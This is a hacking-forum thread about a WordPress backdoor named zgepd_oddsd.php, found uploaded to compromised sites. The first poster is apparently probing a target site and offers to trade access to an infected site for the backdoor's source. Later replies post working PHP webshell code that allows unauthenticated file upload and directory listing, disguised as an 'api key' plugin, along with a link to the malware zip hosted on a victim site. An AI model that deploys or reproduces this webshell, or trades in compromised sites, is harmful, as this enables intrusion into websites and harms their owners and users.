

Forum:[Hack Forums](#)

Thread: [some Oday wordpress exploit running wild? zgepd_oddsd.php](#)

shadowpig - June 30, 2019, 8:35 am

i was looking at a target site and saw that it had a zgepd_oddsd.php uploaded
(the upload directory browsable)
it looks alot like some backdoor / webshell to me.
so i did a search and found that there are alot of wordpress site infected by this file.

anyone got the source of this php for analyze ?

and after much searching, i saw someone posted this log

```
[26/Apr/2019:12:59:26 +0800] "GET /wp-admin/theme-install.php HTTP/1.1" 200 20556
```

```
[26/Apr/2019:12:59:34 +0800] "POST /wp-admin/update.php?action=upload-theme HTTP/1.1" 200  
14346
```

```
[26/Apr/2019:12:59:39 +0800] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 116744
```

```
[26/Apr/2019:12:59:40 +0800] "GET /wp-content/uploads/2019/04/zgepd_oddsd.php?test=hello
```

the poster's website is fuill with trojan backdoor webshell after these entries.

which means that the exploit had something to do with the update.php, admin-ajax.php
the zgepd_oddsd.php passing with the test=hello will output a testtrue as result.

and after much much searching for the file.

i come across with a wp site that already have a few backdoor there.

i belief there's 2 WSO webshell and some other.

anyone that familiar with these webshell, please pm me.

the deal here is simple. i will give u the site. but in return, i just want the source code of the
zgepd_oddsd.php

oh, the affected site that i mentioned, wpscan shows the version is latest

[+] WordPress version 4.5.17 identified (Latest, released on 2019-03-13).

slickslack.io had this file in its removal list.

so its quite obvious that its some kind of malicious file.

awstats for various sites have this file in the usage list

abuseipdb have alot of cases where the ip reported scans for this file / request for this file

but so far i only manage to find the ?test=hello parameter. other parameter are unknown.

there's also an error log that i found says this:

undefined index: filename in /...../zgepd_oddsd.php on line 6

its unknown whether this is the test=hello or other parameters

White - June 30, 2019, 5:48 pm

Source code : PHP Code

```
<?php
```

```
/**
```

```
* @package api key
```

```

*/
/*
Plugin Name: api key
*/

if ("hello"==$_GET["test"])
{
    echo "testtrue";
}
if(is_uploaded_file($_FILES["filename"]["tmp_name"]))
{
    move_uploaded_file($_FILES["filename"]["tmp_name"],$_FILES["filename"]["name"]);
    echo "true";
}
?>

```

Source : <https://www.pizzainn.com/wp-content/uploads/2018/04/apikey.zip>

I was able to find fingerprint of this file from 2018 : <http://prntscr.com/o8swhw>

shadowpig - June 30, 2019, 6:09 pm

thank, i also saw that pizzainn is infected. just didn't see the zip file.

i did trace this file back to around nov 2018. but there are even more after the march wp update. i suspect the latest version is still vulnerable

the fact that i saw alot of report about scanning of this file. it makes me feels like there's some exploit tool out there

from the ip reported in the abuseipdb dot com. it also feels like its not just 1-2 person got hold of this exploit.

anyway, now i'm curious about the exploit that uploads this zgepd_oddsd.php

from the log clue, there's something to do with the wp theme-install, update, and admin-ajax. since the request size is about 100-200kb, it could be any shell

and another thing is, for all the sites that i found the zgepd_oddsd.php, when i try to access their theme-install.php, i will be redirect back to the admin login.

which means there might be some other steps before that to get the admin.

is there no one here know about this exploit ?

after testing with the zgepd_oddsd.php

for website that doesn't install any protection, its basically waiting for slaughter.

anyone can just upload a shell and start working on it.

however, there are also some, with wordfence installed, uploading php files are blocked successfully.

SIM-4743001 - June 4, 2020, 12:03 pm

I recently discovered this file on a Wordpress site as well.

Source code:

PHP Code

```

<?php
function GetListDir($dir){
    if (empty($dir)) return null;
    $files = scandir($dir);

    echo "@dir@\r\n";
    foreach ($files as $file){
        if ($file != "." & $file != "..") {
            if (is_dir($dir . "/" . $file)) echo "[" . $file . "]\r\n";
            if (is_file($dir . "/" . $file)) echo "<" . $file . ">\r\n";
        }
    }
}

function UploadFile($file){
    if (empty($file)) return null;

    if(is_uploaded_file($file ["tmp_name"]))
    {
        if (!empty($_POST["dir"])) {
            if (move_uploaded_file($file ["tmp_name"],$_POST["dir"] . "/" . $file ["name"])) {
                echo "@true@\r\n";
                GetListDir($_POST["dir"]);
            }
        } else {
            if (move_uploaded_file($file ["tmp_name"],$file ["name"])) echo "true";
        }
    }
}

if (!empty($_GET["test"]))
{
    echo "testtrue";
}

if (!empty($_GET["get_dir"])){
    echo "[" . $_SERVER['DOCUMENT_ROOT'] . "]\r\n";
    if (!empty($_GET["dir"])) GetListDir($_GET['dir']);
}

if (!empty($_FILES["filename"])){
    UploadFile($_FILES["filename"]);
}

?>

```